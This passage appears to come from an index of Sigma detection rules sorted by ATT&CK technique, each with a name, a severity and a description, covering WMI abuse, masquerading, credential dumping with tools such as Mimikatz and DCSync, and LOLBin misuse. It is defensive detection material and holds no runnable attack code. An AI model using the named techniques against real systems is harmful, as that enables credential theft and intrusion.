MutatingAdmissionWebhook for obtaining persistence in the cluster. For example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod. An adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials. An adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information. Account Created And Deleted Within A Close Time Frame - Level: high Description: Detects when an account was created and deleted in a short period of time. Guest Users Invited To Tenant By Non Approved Inviters - Level: medium Description: Detects guest users being invited to tenant by non-approved inviters Azure Domain Federation Settings Modified - Level: medium Description: Identifies when an user or application modified the federation settings on the domain. PIM Alert Setting Changes To Disabled - Level: high Description: Detects when PIM alerts are set to disabled. Azure Subscription Permission Elevation Via AuditLogs - Level: high Description: Detects when a user has been elevated to manage all Azure Subscriptions. This change should be investigated immediately if it isn't planned. This setting could allow an attacker access to Azure subscriptions in your environment. Activity From Anonymous IP Address - Level: high Description: Identifies that users were active from an IP address that has been identified as an anonymous proxy IP address. Atypical Travel - Level: high Description: Identifies two sign-ins originating from geographically distant locations, where at least one of the locations may also be atypical for the user, given past behavior. Impossible Travel - Level: high Description: Identifies user activities originating from geographically distant locations within a time period shorter than the time it takes to travel from the first location to the second. Suspicious Browser Activity - Level: high Description: Indicates anomalous behavior based on suspicious sign-in activity across multiple tenants from different countries in the same browser Azure AD Threat Intelligence - Level: high Description: Indicates user activity that is unusual for the user or consistent with known attack patterns. New Country - Level: high Description: Detects sign-ins from new countries. The detection considers past activity locations to determine new and infrequent locations. Unfamiliar Sign-In Properties - Level: high Description: Detects sign-in with properties that are unfamiliar to the user. The detection considers past sign-in history to look for anomalous sign-ins. Stale Accounts In A Privileged Role - Level: high Description: Identifies when an account hasn't signed in during the past n number of days. Invalid PIM License - Level: high Description: Identifies when an organization doesn't have the proper license for PIM and is out of compliance. Roles Assigned Outside PIM - Level: high Description: Identifies when a privilege role assignment has taken place outside of PIM and may indicate an attack. Roles Activation Doesn't Require MFA - Level: high Description: Identifies when a privilege role can be activated without performing mfa. Roles Activated Too Frequently - Level: high Description: Identifies when the same privilege role has multiple activations by the same user. Roles Are Not Being Used - Level: high Description: Identifies when a user has been assigned a privilege role and are not using that role. Too Many Global Admins - Level: high Description: Identifies an event where there are there are too many accounts assigned the Global Administrator role. Increased Failed Authentications Of Any Type - Level: medium Description: Detects when sign-ins increased by 10% or greater. Measurable Increase Of Successful Authentications - Level: low Description: Detects when successful sign-ins increased by 10% or greater. Authentications To Important Apps Using Single Factor Authentication - Level: medium Description: Detect when authentications to important application(s) only required single-factor authentication Suspicious SignIns From A Non Registered Device - Level: high Description: Detects risky authentication from a non AD registered device without MFA being required. Application Using Device Code Authentication Flow - Level: medium Description: Device code flow is an OAuth 2.0 protocol flow specifically for input constrained devices and is not used in all environments. If this type of flow is seen in the environment and not being used in an input constrained device scenario, further investigation is warranted. This can be a misconfigured application or potentially something malicious. Applications That Are Using ROPC Authentication Flow - Level: medium Description: Resource owner password credentials (ROPC) should be avoided if at all possible as this requires the user to expose their current password credentials to the application directly. The application then uses those credentials to authenticate the user against the identity provider. Azure Unusual Authentication Interruption - Level: medium Description: Detects when there is a interruption in the authentication process. Google Cloud Kubernetes Admission Controller - Level: medium Description: Identifies when an admission controller is executed in GCP Kubernetes. A Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server. The behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster. An adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster. For example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod. An adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials. An adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information. Azure Login Bypassing Conditional Access Policies - Level: high Description: Detects a successful login to the Microsoft Intune Company Portal which could allow bypassing Conditional Access Policies and InTune device trust using a tool like TokenSmith. Microsoft 365 - Impossible Travel Activity - Level: medium Description: Detects when a Microsoft Cloud App Security reported a risky sign-in attempt due to a login associated with an impossible travel. Logon from a Risky IP Address - Level: medium Description: Detects when a Microsoft Cloud App Security reported when a user signs into your sanctioned apps from a risky IP address. Root Account Enable Via Dsenableroot - Level: medium Description: Detects attempts to enable the root account via "dsenableroot" Guest Account Enabled Via Sysadminctl - Level: low Description: Detects attempts to enable the guest account using the sysadminctl utility Cisco BGP Authentication Failures - Level: low Description: Detects BGP failures which may be indicative of brute force attacks to manipulate routing Cisco LDP Authentication Failures - Level: low Description: Detects LDP failures which may be indicative of brute force attacks to manipulate MPLS labels Huawei BGP Authentication Failures - Level: low Description: Detects BGP failures which may be indicative of brute force attacks to manipulate routing. Juniper BGP Missing MD5 - Level: low Description: Detects juniper BGP missing MD5 digest. Which may be indicative of brute force attacks to manipulate routing. Win Susp Computer Name Containing Samtheadmin - Level: critical Description: Detects suspicious computer name samtheadmin-{1..100}$ generated by hacktool Account Tampering - Suspicious Failed Logon Reasons - Level: medium Description: This method uses uncommon error codes on failed logons to determine suspicious activity and tampering with accounts that have been disabled or somehow restricted. Suspicious Remote Logon with Explicit Credentials - Level: medium Description: Detects suspicious processes logging on with explicit credentials User Added to Local Administrator Group - Level: medium Description: Detects the addition of a new member to the local administrator group, which could be legitimate activity or a sign of privilege escalation activity External Remote RDP Logon from Public IP - Level: medium Description: Detects successful logon from public IP address via RDP. This can indicate a publicly-exposed RDP port. External Remote SMB Logon from Public IP - Level: high Description: Detects successful logon from public IP address via SMB. This can indicate a publicly-exposed SMB port. Failed Logon From Public IP - Level: medium Description: Detects a failed logon attempt from a public IP. A login from a public IP can indicate a misconfigured firewall or network boundary. Suspicious Computer Machine Password by PowerShell - Level: medium Description: The Reset-ComputerMachinePassword cmdlet changes the computer account password that the computers use to authenticate to the domain controllers in the domain. You can use it to reset the password of the local computer. Password Provided In Command Line Of Net.EXE - Level: medium Description: Detects a when net.exe is called with a password in the command line Account Created And Deleted By Non Approved Users - Level: medium Description: Detects accounts that are created or deleted by non-approved users. Authentication Occuring Outside Normal Business Hours - Level: low Description: Detects user signs ins outside of normal business hours. Privilege Role Elevation Not Occuring on SAW or PAW - Level: high Description: Detects failed sign-in from a PAW or SAW device Privilege Role Sign-In Outside Expected Controls - Level: high Description: Detects failed sign-in due to user not meeting expected controls for adminitrators Privilege Role Sign-In Outside Of Normal Hours - Level: high Description: Detects account sign ins outside of normal hours or uncommon locations. Administrator accounts should be investigated Interactive Logon to Server Systems - Level: medium Description: Detects interactive console logons to Server Systems AWS Lambda Function Created or Invoked - Level: low Description: Detects when an user creates or invokes a lambda function. Failed Logins with Different Accounts from Single Source System - Level: medium Description: Detects suspicious failed logins with different user accounts from a single source system Failed NTLM Logins with Different Accounts from Single Source System - Level: medium Description: Detects suspicious failed logins with different user accounts from a single source system
attack.t1047	54	Show Rules (54) Windows Management Instrumentation DLL Loaded Via Microsoft Word - Level: informational Description: Detects DLL's Loaded Via Word Containing VBA Macros Executing WMI Commands New Lolbin Process by Office Applications - Level: high Description: This rule will monitor any office apps that spins up a new LOLBin process. This activity is pretty suspicious and should be investigated. Excel Proxy Executing Regsvr32 With Payload - Level: high Description: Excel called wmic to finally proxy execute regsvr32 with the payload. An attacker wanted to break suspicious parent-child chain (Office app spawns LOLBin). But we have command-line in the event which allow us to "restore" this suspicious parent-child chain and detect it. Monitor process creation with "wmic process call create" and LOLBins in command-line with parent Office application processes. Excel Proxy Executing Regsvr32 With Payload Alternate - Level: high Description: Excel called wmic to finally proxy execute regsvr32 with the payload. An attacker wanted to break suspicious parent-child chain (Office app spawns LOLBin). But we have command-line in the event which allow us to "restore" this suspicious parent-child chain and detect it. Monitor process creation with "wmic process call create" and LOLBins in command-line with parent Office application processes. Office Applications Spawning Wmi Cli Alternate - Level: high Description: Initial execution of malicious document calls wmic to execute the file with regsvr32 Suspicious Cmd Execution via WMI - Level: medium Description: Detects suspicious command execution (cmd) via Windows Management Instrumentation (WMI) on a remote host. This could be indicative of adversary lateral movement. WMI Execution Via Office Process - Level: medium Description: Initial execution of malicious document calls wmic to execute the file with regsvr32 WMI Remote Command Execution - Level: medium Description: An adversary might use WMI to execute commands on a remote system WMI Reconnaissance List Remote Services - Level: medium Description: An adversary might use WMI to check if a certain Remote Service is running on a remote device. When the test completes, a service information will be displayed on the screen if it exists. A common feedback message is that "No instance(s) Available" if the service queried is not running. A common error message is "Node - (provided IP or default) ERROR Description =The RPC server is unavailable" if the provided remote host is unreachable Remote DCOM/WMI Lateral Movement - Level: high Description: Detects remote RPC calls that performs remote DCOM operations. These could be abused for lateral movement via DCOM or WMI. MITRE BZAR Indicators for Execution - Level: medium Description: Windows DCE-RPC functions which indicate an execution techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE T1047 Wmiprvse Wbemcomn DLL Hijack - Level: high Description: Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\Windows\System32\wbem\` directory over the network for a WMI DLL Hijack scenario. Successful Account Login Via WMI - Level: low Description: Detects successful logon attempts performed with WMI PSExec and WMI Process Creations Block - Level: high Description: Detects blocking of process creations originating from PSExec and WMI commands Wmiexec Default Output File - Level: critical Description: Detects the creation of the default output filename used by the wmiexec tool Wmiprvse Wbemcomn DLL Hijack - File - Level: critical Description: Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\Windows\System32\wbem\` directory over the network and loading it for a WMI DLL Hijack scenario. Wmiprvse Wbemcomn DLL Hijack - Level: high Description: Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\Windows\System32\wbem\` directory over the network and loading it for a WMI DLL Hijack scenario. WMI Event Consumer Created Named Pipe - Level: medium Description: Detects the WMI Event Consumer service scrcons.exe creating a named pipe WMImplant Hack Tool - Level: high Description: Detects parameters used by WMImplant WMIC Unquoted Services Path Lookup - PowerShell - Level: medium Description: Detects known WMI recon method to look for unquoted service paths, often used by pentest inside of powershell scripts attackers enum scripts HTML Help HH.EXE Suspicious Child Process - Level: high Description: Detects a suspicious child process of a Microsoft HTML Help (HH.exe) Suspicious HH.EXE Execution - Level: high Description: Detects a suspicious execution of a Microsoft HTML Help (HH.exe) HackTool - CrackMapExec Execution - Level: high Description: This rule detect common flag combinations used by CrackMapExec in order to detect its use even if the binary has been replaced. HackTool - CrackMapExec Execution Patterns - Level: high Description: Detects various execution patterns of the CrackMapExec pentesting framework HackTool - Potential Impacket Lateral Movement Activity - Level: high Description: Detects wmiexec/dcomexec/atexec/smbexec from Impacket framework Suspicious Microsoft Office Child Process - Level: high Description: Detects a suspicious process spawning from one of the Microsoft Office suite products (Word, Excel, PowerPoint, Publisher, Visio, etc.) Script Event Consumer Spawning Process - Level: high Description: Detects a suspicious child process of Script Event Consumer (scrcons.exe). New Process Created Via Wmic.EXE - Level: medium Description: Detects new process creation using WMIC via the "process call create" flag Computer System Reconnaissance Via Wmic.EXE - Level: medium Description: Detects execution of wmic utility with the "computersystem" flag in order to obtain information about the machine such as the domain, username, model, etc. Hardware Model Reconnaissance Via Wmic.EXE - Level: medium Description: Detects the execution of WMIC with the "csproduct" which is used to obtain information such as hardware models and vendor information Windows Hotfix Updates Reconnaissance Via Wmic.EXE - Level: medium Description: Detects the execution of wmic with the "qfe" flag in order to obtain information about installed hotfix updates on the system. This is often used by pentester and attacker enumeration scripts Process Reconnaissance Via Wmic.EXE - Level: medium Description: Detects the execution of "wmic" with the "process" flag, which adversary might use to list processes running on the compromised host or list installed software hotfixes and patches. Potential Product Reconnaissance Via Wmic.EXE - Level: medium Description: Detects the execution of WMIC in order to get a list of firewall and antivirus products Potential Product Class Reconnaissance Via Wmic.EXE - Level: medium Description: Detects the execution of WMIC in order to get a list of firewall and antivirus products Service Reconnaissance Via Wmic.EXE - Level: medium Description: An adversary might use WMI to check if a certain remote service is running on a remote device. When the test completes, a service information will be displayed on the screen if it exists. A common feedback message is that "No instance(s) Available" if the service queried is not running. A common error message is "Node - (provided IP or default) ERROR Description =The RPC server is unavailable" if the provided remote host is unreachable Potential Unquoted Service Path Reconnaissance Via Wmic.EXE - Level: medium Description: Detects known WMI recon method to look for unquoted service paths using wmic. Often used by pentester and attacker enumeration scripts System Disk And Volume Reconnaissance Via Wmic.EXE - Level: medium Description: An adversary might use WMI to discover information about the system, such as the volume name, size, free space, and other disk information. This can be done using the `wmic` command-line utility and has been observed being used by threat actors such as Volt Typhoon. WMIC Remote Command Execution - Level: medium Description: Detects the execution of WMIC to query information on a remote system Service Started/Stopped Via Wmic.EXE - Level: medium Description: Detects usage of wmic to start or stop a service Potential SquiblyTwo Technique Execution - Level: medium Description: Detects potential SquiblyTwo attack technique with possible renamed WMIC via Imphash and OriginalFileName fields Suspicious WMIC Execution Via Office Process - Level: high Description: Office application called wmic to proxye execution through a LOLBIN process. This is often used to break suspicious parent-child chain (Office app spawns LOLBin). Suspicious Process Created Via Wmic.EXE - Level: high Description: Detects WMIC executing "process call create" with suspicious calls to processes such as "rundll32", "regsrv32", etc. Application Terminated Via Wmic.EXE - Level: medium Description: Detects calls to the "terminate" function via wmic in order to kill an application Application Removed Via Wmic.EXE - Level: medium Description: Detects the removal or uninstallation of an application via "Wmic.EXE". WmiPrvSE Spawned A Process - Level: medium Description: Detects WmiPrvSE spawning a process Potential WMI Lateral Movement WmiPrvSE Spawned PowerShell - Level: medium Description: Detects Powershell as a child of the WmiPrvSE process. Which could be a sign of lateral movement via WMI. Suspicious WmiPrvSE Child Process - Level: high Description: Detects suspicious and uncommon child processes of WmiPrvSE Blue Mockingbird - Registry - Level: high Description: Attempts to detect system changes made by Blue Mockingbird Suspicious Encoded Scripts in a WMI Consumer - Level: high Description: Detects suspicious encoded payloads in WMI Event Consumers Blue Mockingbird - Level: high Description: Attempts to detect system changes made by Blue Mockingbird Potential Maze Ransomware Activity - Level: critical Description: Detects specific process characteristics of Maze ransomware word document droppers UNC2452 PowerShell Pattern - Level: critical Description: Detects a specific PowerShell command line pattern used by the UNC2452 actors as mentioned in Microsoft and Symantec reports WMI Module Loaded By Uncommon Process - Level: low Description: Detects WMI modules being loaded by an uncommon process File Creation by Office Applications - Level: high Description: This rule will monitor executable and script file creation by office applications. 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attack.t1036	42	Show Rules (42) Process Memory Dumped Via RdrLeakDiag.EXE - Level: high Description: Detects uses of the rdrleakdiag.exe LOLOBIN utility to dump process memory Potentially Suspicious Execution From Tmp Folder - Level: high Description: Detects a potentially suspicious execution of a process located in the '/tmp/' folder Interactive Bash Suspicious Children - Level: medium Description: Detects suspicious interactive bash as a parent to rather uncommon child processes New or Renamed User Account with '$' Character - Level: medium Description: Detects the creation of a user with the "$" character. This can be used by attackers to hide a user or trick detection systems that lack the parsing mechanisms. Password Protected ZIP File Opened (Suspicious Filenames) - Level: high Description: Detects the extraction of password protected ZIP archives with suspicious file names. See the filename variable for more details on which file has been opened. Windows Binaries Write Suspicious Extensions - Level: high Description: Detects Windows executables that write files with suspicious extensions Potential Homoglyph Attack Using Lookalike Characters in Filename - Level: medium Description: Detects the presence of unicode characters which are homoglyphs, or identical in appearance, to ASCII letter characters. This is used as an obfuscation and masquerading techniques. Only "perfect" homoglyphs are included; these are characters that are indistinguishable from ASCII characters and thus may make excellent candidates for homoglyph attack characters. System Control Panel Item Loaded From Uncommon Location - Level: medium Description: Detects image load events of system control panel items (.cpl) from uncommon or non-system locations which might be the result of sideloading. Suspicious Calculator Usage - Level: high Description: Detects suspicious use of 'calc.exe' with command line parameters or in a suspicious directory, which is likely caused by some PoC or detection evasion. Suspicious CodePage Switch Via CHCP - Level: medium Description: Detects a code page switch in command line or batch scripts to a rare language CreateDump Process Dump - Level: high Description: Detects uses of the createdump.exe LOLOBIN utility to dump process memory DumpMinitool Execution - Level: medium Description: Detects the use of "DumpMinitool.exe" a tool that allows the dump of process memory via the use of the "MiniDumpWriteDump" Suspicious DumpMinitool Execution - Level: high Description: Detects suspicious ways to use the "DumpMinitool.exe" binary Explorer Process Tree Break - Level: medium Description: Detects a command line process that uses explorer.exe to launch arbitrary commands or binaries, which is similar to cmd.exe /c, only it breaks the process tree and makes its parent a new instance of explorer spawning from "svchost" Findstr Launching .lnk File - Level: medium Description: Detects usage of findstr to identify and execute a lnk file as seen within the HHS redirect attack Forfiles.EXE Child Process Masquerading - Level: high Description: Detects the execution of "forfiles" from a non-default location, in order to potentially spawn a custom "cmd.exe" from the current working directory. HackTool - XORDump Execution - Level: high Description: Detects suspicious use of XORDump process memory dumping utility Potential Fake Instance Of Hxtsr.EXE Executed - Level: medium Description: HxTsr.exe is a Microsoft compressed executable file called Microsoft Outlook Communications. HxTsr.exe is part of Outlook apps, because it resides in a hidden "WindowsApps" subfolder of "C:\Program Files". Any instances of hxtsr.exe not in this folder may be malware camouflaging itself as HxTsr.exe CodePage Modification Via MODE.COM To Russian Language - Level: medium Description: Detects a CodePage modification using the "mode.com" utility to Russian language. This behavior has been used by threat actors behind Dharma ransomware. Suspicious MSDT Parent Process - Level: high Description: Detects msdt.exe executed by a suspicious parent as seen in CVE-2022-30190 / Follina exploitation PUA - Potential PE Metadata Tamper Using Rcedit - Level: medium Description: Detects the use of rcedit to potentially alter executable PE metadata properties, which could conceal efforts to rename system utilities for defense evasion. Renamed CreateDump Utility Execution - Level: high Description: Detects uses of a renamed legitimate createdump.exe LOLOBIN utility to dump process memory Renamed ZOHO Dctask64 Execution - Level: high Description: Detects a renamed "dctask64.exe" execution, a signed binary by ZOHO Corporation part of ManageEngine Endpoint Central. This binary can be abused for DLL injection, arbitrary command and process execution. Renamed Plink Execution - Level: high Description: Detects the execution of a renamed version of the Plink binary Process Memory Dump Via Comsvcs.DLL - Level: high Description: Detects a process memory dump via "comsvcs.dll" using rundll32, covering multiple different techniques (ordinal, minidump function, etc.) Suspicious Process Start Locations - Level: medium Description: Detects suspicious process run from unusual locations Sdiagnhost Calling Suspicious Child Process - Level: high Description: Detects sdiagnhost.exe calling a suspicious child process (e.g. used in exploits for Follina / CVE-2022-30190) Potential Command Line Path Traversal Evasion Attempt - Level: medium Description: Detects potential evasion or obfuscation attempts using bogus path traversal via the commandline Process Execution From A Potentially Suspicious Folder - Level: high Description: Detects a potentially suspicious execution from an uncommon folder. Potential Homoglyph Attack Using Lookalike Characters - Level: medium Description: Detects the presence of unicode characters which are homoglyphs, or identical in appearance, to ASCII letter characters. This is used as an obfuscation and masquerading techniques. Only "perfect" homoglyphs are included; these are characters that are indistinguishable from ASCII characters and thus may make excellent candidates for homoglyph attack characters. Suspicious Process Parents - Level: high Description: Detects suspicious parent processes that should not have any children or should only have a single possible child program System File Execution Location Anomaly - Level: high Description: Detects the execution of a Windows system binary that is usually located in the system folder from an uncommon location. Procdump Execution - Level: medium Description: Detects usage of the SysInternals Procdump utility Potential SysInternals ProcDump Evasion - Level: high Description: Detects uses of the SysInternals ProcDump utility in which ProcDump or its output get renamed, or a dump file is moved or copied to a different name Potential LSASS Process Dump Via Procdump - Level: high Description: Detects suspicious uses of the SysInternals Procdump utility by using a special command line parameter in combination with the lsass.exe process. This way we are also able to catch cases in which the attacker has renamed the procdump executable. Taskmgr as LOCAL_SYSTEM - Level: high Description: Detects the creation of taskmgr.exe process in context of LOCAL_SYSTEM New Process Created Via Taskmgr.EXE - Level: low Description: Detects the creation of a process via the Windows task manager. This might be an attempt to bypass UAC Potential ReflectDebugger Content Execution Via WerFault.EXE - Level: medium Description: Detects execution of "WerFault.exe" with the "-pr" commandline flag that is used to run files stored in the ReflectDebugger key which could be used to store the path to the malware in order to masquerade the execution flow Suspicious Child Process Of Wermgr.EXE - Level: high Description: Detects suspicious Windows Error Reporting manager (wermgr.exe) child process Suspicious Windows Update Agent Empty Cmdline - Level: high Description: Detects suspicious Windows Update Agent activity in which a wuauclt.exe process command line doesn't contain any command line flags Suspicious Computer Account Name Change CVE-2021-42287 - Level: high Description: Detects the renaming of an existing computer account to a account name that doesn't contain a $ symbol as seen in attacks against CVE-2021-42287 CodePage Modification Via MODE.COM - Level: low Description: Detects a CodePage modification using the "mode.com" utility. This behavior has been used by threat actors behind Dharma ransomware.
attack.t1003	40	Show Rules (40) Mimikatz MemSSP Default Log File Creation - Level: critical Description: Detects Mimikatz MemSSP default log file creation Credential Acquisition via Registry Hive Dumping - Level: high Description: Detects Credential Acquisition via Registry Hive Dumping Mimikatz Detection LSASS Access - Level: high Description: Detects process access to LSASS which is typical for Mimikatz (0x1000 PROCESS_QUERY_ LIMITED_INFORMATION, 0x0400 PROCESS_QUERY_ INFORMATION "only old versions", 0x0010 PROCESS_VM_READ) Activity Related to NTDS.dit Domain Hash Retrieval - Level: high Description: Detects suspicious commands that could be related to activity that uses volume shadow copy to steal and retrieve hashes from the NTDS.dit file remotely OpenCanary - MSSQL Login Attempt Via SQLAuth - Level: high Description: Detects instances where an MSSQL service on an OpenCanary node has had a login attempt using SQLAuth. OpenCanary - MSSQL Login Attempt Via Windows Authentication - Level: high Description: Detects instances where an MSSQL service on an OpenCanary node has had a login attempt using Windows Authentication. OpenCanary - MySQL Login Attempt - Level: high Description: Detects instances where a MySQL service on an OpenCanary node has had a login attempt. OpenCanary - REDIS Action Command Attempt - Level: high Description: Detects instances where a REDIS service on an OpenCanary node has had an action command attempted. Antivirus Password Dumper Detection - Level: critical Description: Detects a highly relevant Antivirus alert that reports a password dumper. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place. Rare Subscription-level Operations In Azure - Level: medium Description: Identifies IPs from which users grant access to other users on azure resources and alerts when a previously unseen source IP address is used. Linux Keylogging with Pam.d - Level: high Description: Detect attempt to enable auditing of TTY input WCE wceaux.dll Access - Level: critical Description: Detects wceaux.dll access while WCE pass-the-hash remote command execution on source host Credential Manager Access By Uncommon Applications - Level: medium Description: Detects suspicious processes based on name and location that access the windows credential manager and vault. Which can be a sign of credential stealing. Example case would be usage of mimikatz "dpapi::cred" function Access To Crypto Currency Wallets By Uncommon Applications - Level: medium Description: Detects file access requests to crypto currency files by uncommon processes. Could indicate potential attempt of crypto currency wallet stealing. HackTool - Potential Remote Credential Dumping Activity Via CrackMapExec Or Impacket-Secretsdump - Level: high Description: Detects default filenames output from the execution of CrackMapExec and Impacket-secretsdump against an endpoint. HackTool - Rubeus Execution - ScriptBlock - Level: high Description: Detects the execution of the hacktool Rubeus using specific command line flags Live Memory Dump Using Powershell - Level: high Description: Detects usage of a PowerShell command to dump the live memory of a Windows machine Potential Invoke-Mimikatz PowerShell Script - Level: high Description: Detects Invoke-Mimikatz PowerShell script and alike. Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords. Esentutl Gather Credentials - Level: medium Description: Conti recommendation to its affiliates to use esentutl to access NTDS dumped file. Trickbot also uses this utilities to get MSEdge info via its module pwgrab. Hacktool Execution - Imphash - Level: critical Description: Detects the execution of different Windows based hacktools via their import hash (imphash) even if the files have been renamed Hacktool Execution - PE Metadata - Level: high Description: Detects the execution of different Windows based hacktools via PE metadata (company, product, etc.) even if the files have been renamed HackTool - Rubeus Execution - Level: critical Description: Detects the execution of the hacktool Rubeus via PE information of command line parameters Microsoft IIS Service Account Password Dumped - Level: high Description: Detects the Internet Information Services (IIS) command-line tool, AppCmd, being used to list passwords Microsoft IIS Connection Strings Decryption - Level: high Description: Detects use of aspnet_regiis to decrypt Microsoft IIS connection strings. An attacker with Microsoft IIS web server access via a webshell or alike can decrypt and dump any hardcoded connection strings, such as the MSSQL service account password using aspnet_regiis command. Potential Credential Dumping Via LSASS Process Clone - Level: critical Description: Detects a suspicious LSASS process process clone that could be a sign of credential dumping activity Potential Credential Dumping Attempt Using New NetworkProvider - CLI - Level: high Description: Detects when an attacker tries to add a new network provider in order to dump clear text credentials, similar to how the NPPSpy tool does it Suspicious Reg Add Open Command - Level: medium Description: Threat actors performed dumping of SAM, SECURITY and SYSTEM registry hives using DelegateExecute key Capture Credentials with Rpcping.exe - Level: medium Description: Detects using Rpcping.exe to send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process. Interesting Service Enumeration Via Sc.EXE - Level: low Description: Detects the enumeration and query of interesting and in some cases sensitive services on the system via "sc.exe". Attackers often try to enumerate the services currently running on a system in order to find different attack vectors. Shadow Copies Creation Using Operating Systems Utilities - Level: medium Description: Shadow Copies creation using operating systems utilities, possible credential access Suspicious SYSTEM User Process Creation - Level: high Description: Detects a suspicious process creation as SYSTEM user (suspicious program or command line parameter) Loaded Module Enumeration Via Tasklist.EXE - Level: medium Description: Detects the enumeration of a specific DLL or EXE being used by a binary via "tasklist.exe". This is often used by attackers in order to find the specific process identifier (PID) that is using the DLL in question. In order to dump the process memory or perform other nefarious actions. Potential Credential Dumping Attempt Using New NetworkProvider - REG - Level: medium Description: Detects when an attacker tries to add a new network provider in order to dump clear text credentials, similar to how the NPPSpy tool does it Potentially Suspicious ODBC Driver Registered - Level: high Description: Detects the registration of a new ODBC driver where the driver is located in a potentially suspicious location Access To Browser Credential Files By Uncommon Applications - Level: low Description: Detects file access requests to browser credential stores by uncommon processes. Could indicate potential attempt of credential stealing. Requires heavy baselining before usage Access To Chromium Browsers Sensitive Files By Uncommon Applications - Level: low Description: Detects file access requests to chromium based browser sensitive files by uncommon processes. Could indicate potential attempt of stealing sensitive information. Mimikatz In-Memory - Level: medium Description: Detects certain DLL loads when Mimikatz gets executed Dumping ntds.dit remotely via DCSync - Level: medium Description: ntds.dit retrieving using synchronisation with legitimate domain controller using Directory Replication Service Remote Protocol Dumping ntds.dit remotely via NetSync - Level: medium Description: ntds.dit retrieving (only computer accounts) using synchronisation with legit domain controller using Netlogon Remote Protocol Malicious Service Installations - Level: critical Description: Detects known malicious service installs that only appear in cases of lateral movement, credential dumping, and other suspicious activities.
attack.t1202	40	Show Rules (40) Indirect Command Exectuion via Forfiles - Level: medium Description: Detects execition of commands and binaries from the context of "forfiles.exe". This can be used as a LOLBIN in order to bypass application whitelisting. Indirect Command Execution - Level: low Description: Detect indirect command execution via Program Compatibility Assistant (pcalua.exe or forfiles.exe). Execute MSDT.EXE Using Diagcab File - Level: high Description: Detects diagcab leveraging the "ms-msdt" handler or the "msdt.exe" binary to execute arbitrary commands as seen in CVE-2022-30190 Winword.exe Loads Suspicious DLL - Level: medium Description: Detects Winword.exe loading a custom DLL using the /l flag Diagnostic Library Sdiageng.DLL Loaded By Msdt.EXE - Level: high Description: Detects both of CVE-2022-30190 (Follina) and DogWalk vulnerabilities exploiting msdt.exe binary to load the "sdiageng.dll" library Troubleshooting Pack Cmdlet Execution - Level: medium Description: Detects execution of "TroubleshootingPack" cmdlets to leverage CVE-2022-30190 or action similar to "msdt" lolbin (as described in LOLBAS) Indirect Inline Command Execution Via Bash.EXE - Level: medium Description: Detects execution of Microsoft bash launcher with the "-c" flag. This can be used to potentially bypass defenses and execute Linux or Windows-based binaries directly via bash. Indirect Command Execution From Script File Via Bash.EXE - Level: medium Description: Detects execution of Microsoft bash launcher without any flags to execute the content of a bash script directly. This can be used to potentially bypass defenses and execute Linux or Windows-based binaries directly via bash. Suspicious Child Process Of BgInfo.EXE - Level: high Description: Detects suspicious child processes of "BgInfo.exe" which could be a sign of potential abuse of the binary to proxy execution via external VBScript Uncommon Child Process Of BgInfo.EXE - Level: medium Description: Detects uncommon child processes of "BgInfo.exe" which could be a sign of potential abuse of the binary to proxy execution via external VBScript Potential Arbitrary File Download Via Cmdl32.EXE - Level: medium Description: Detects execution of Cmdl32 with the "/vpn" and "/lan" flags. Attackers can abuse this utility in order to download arbitrary files via a configuration file. Inspect the location and the content of the file passed as an argument in order to determine if it is suspicious. Suspicious High IntegrityLevel Conhost Legacy Option - Level: informational Description: ForceV1 asks for information directly from the kernel space. Conhost connects to the console application. High IntegrityLevel means the process is running with elevated privileges, such as an Administrator context. Uncommon Child Process Of Conhost.EXE - Level: medium Description: Detects uncommon "conhost" child processes. This could be a sign of "conhost" usage as a LOLBIN or potential process injection activity. Findstr Launching .lnk File - Level: medium Description: Detects usage of findstr to identify and execute a lnk file as seen within the HHS redirect attack Potential Arbitrary Command Execution Via FTP.EXE - Level: medium Description: Detects execution of "ftp.exe" script with the "-s" or "/s" flag and any child processes ran by "ftp.exe". Suspicious ZipExec Execution - Level: medium Description: ZipExec is a Proof-of-Concept (POC) tool to wrap binary-based tools into a password-protected zip file. Suspicious Runscripthelper.exe - Level: medium Description: Detects execution of powershell scripts via Runscripthelper.exe Potential Arbitrary Command Execution Using Msdt.EXE - Level: high Description: Detects processes leveraging the "ms-msdt" handler or the "msdt.exe" binary to execute arbitrary commands as seen in the follina (CVE-2022-30190) vulnerability Suspicious Cabinet File Execution Via Msdt.EXE - Level: medium Description: Detects execution of msdt.exe using the "cab" flag which could indicates suspicious diagcab files with embedded answer files leveraging CVE-2022-30190 Potential Arbitrary File Download Using Office Application - Level: high Description: Detects potential arbitrary file download using a Microsoft Office application Potentially Suspicious Office Document Executed From Trusted Location - Level: high Description: Detects the execution of an Office application that points to a document that is located in a trusted location. Attackers often used this to avoid macro security and execute their malicious code. Outlook EnableUnsafeClientMailRules Setting Enabled - Level: high Description: Detects an attacker trying to enable the outlook security setting "EnableUnsafeClientMailRules" which allows outlook to run applications or execute macros Suspicious Remote Child Process From Outlook - Level: high Description: Detects a suspicious child process spawning from Outlook where the image is located in a remote location (SMB/WebDav shares). Potential Arbitrary DLL Load Using Winword - Level: medium Description: Detects potential DLL sideloading using the Microsoft Office winword process via the '/l' flag. Renamed CURL.EXE Execution - Level: medium Description: Detects the execution of a renamed "CURL.exe" binary based on the PE metadata fields Renamed ZOHO Dctask64 Execution - Level: high Description: Detects a renamed "dctask64.exe" execution, a signed binary by ZOHO Corporation part of ManageEngine Endpoint Central. This binary can be abused for DLL injection, arbitrary command and process execution. Renamed FTP.EXE Execution - Level: medium Description: Detects the execution of a renamed "ftp.exe" binary based on the PE metadata fields Renamed NirCmd.EXE Execution - Level: high Description: 